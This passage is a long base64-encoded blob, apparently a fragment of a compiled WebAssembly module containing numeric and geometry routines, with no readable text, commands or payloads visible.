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CIHRQRAIApBABC/BCADKAIoIQcgAygCMCEICyADIAhBAWoiBDYCMCADQSxqKAIAIgYgCEEDdGpC////ezcCACAEIAdGBEAgCiAHEL8EIAMoAiwhBiADKAIwIQQLIANBADoAcCADIBc4AiAgAyAEQQFqNgIwIANBJGogGjgCACAGIARBA3RqQv////v3/////wA3AgAgA0HEAGooAgAEQCADQcgAaigCABCHAQsgA0EAOgBxIANBfzYCUCADQgA3AkAgA0HsAGpBADYCACADQcgAakIENwIAIAMoAlQNAyADQeAAaigCAEUNAUHg4cEAQSpBjOLBABDJCAALAkAgGCAZXwRAQRBBBBDQCiIIDQEMCwtB6NTBAEEoQZDWwQAQyQgACyAIQv////v3/////wA3AgggCEL///97NwIAAkAgFyAaXwRAQRBBBBDQCiIEDQEMCwtB6NTBAEEoQZDWwQAQyQgACyAEQv////v3/////wA3AgggBEL///97NwIAQfQAQQQQ0AoiA0UNAyADQQA7AXAgA0IENwJoIANCADcCYCADQoCAgIDAADcCWCADQv////8PNwJQIANCBDcCSCADQgA3AkAgA0IENwI4IANCAjcCMCADIAQ2AiwgA0ECNgIoIAMgGjgCJCADIBc4AiAgA0IENwIYIANCAjcCECADIAg2AgwgA0ECNgIIIAMgGTgCBCADIBg4AgALIBi8rSAXvK1CIIaEIQEgAC0APCEEIAAtAD0hBwJAIAIoAgAiCEF/RgRAIAJBDGooAgAiCCACKAIERgRAIAJBBGogCBDJBCACKAIMIQgLIAIgCEEBajYCDCACQQhqKAIAIAhBJGxqIgIgBDoAIQwBCyACQQxqKAIAIgYgCE0NBCACIAJBCGooAgAgCEEkbGoiAigCEDYCAAJAIAIoAhRFDQAgAkEYaiIGKAIARQ0AIAYQkAQLIAIgBDoAIQsgAiAHOgAgIAIgAzYCGCACQv////8fNwIQIAIgGjgCDCACIBk4AgggAiABNwIAIABBNGooAgAiAyAAKAIsRgRAIABBLGogAxC9BCAAKAI0IQMLIAAgA0EBajYCNCAAQTBqKAIAIANBAnRqIAg2AgAgDSAFKAIAIgRxIgAgBUEMaigCACICaikAAEKAgYKEiJCgwIB/gyIBUARAQQghAwNAIAAgA2ohACADQQhqIQMgAiAAIARxIgBqKQAAQoCBgoSIkKDAgH+DIgFQDQALCyAFQRhqKAIAIQMgAiABeqdBA3YgAGogBHEiAGosAAAiBkEATgR/IAIgAikDAEKAgYKEiJCgwIB/g3qnQQN2IgBqLQAABSAGC0EBcSEQAkAgBSgCBA0AIBBFDQAgBUEUaigCACEAIwBBQGoiAiQAIAIgAzYCNCACIAA2AjAgBUEIaigCACEKIAIgAkEwajYCPAJAIApBAWoiAEUEQBCfCCACKAIMGgwBCwJAAkACQAJAAkACfyAFKAIAIg5BAWohDwJAIA4gD0EDdkEHbCAOQQhJGyIEQQF2IABJBEAgACAEQQFqIgQgACAESxsiBEEISQ0BQX8gBEEDdEEHbkEBa2d2QQFqIAQgBEH/////AXFGDQIaEJ8IIAIoAixBgYCAgHhHDQggAigCKAwCCyAFIAJBPGpBsAEQvQEMBwtBBEEIIARBBEkbCyIAQf////8DcSAARw0AIABBAnQiB0EHaiEEIAQgB0kNACAEQXhxIgcgAEEIaiIGaiEEIAQgB0kNACAEQQBIDQEgBEEIENAKIgxFBEAgBEEIQcDDwwAoAgAiAEGkBiAAGxEAAAALIAcgDGpB/wEgBh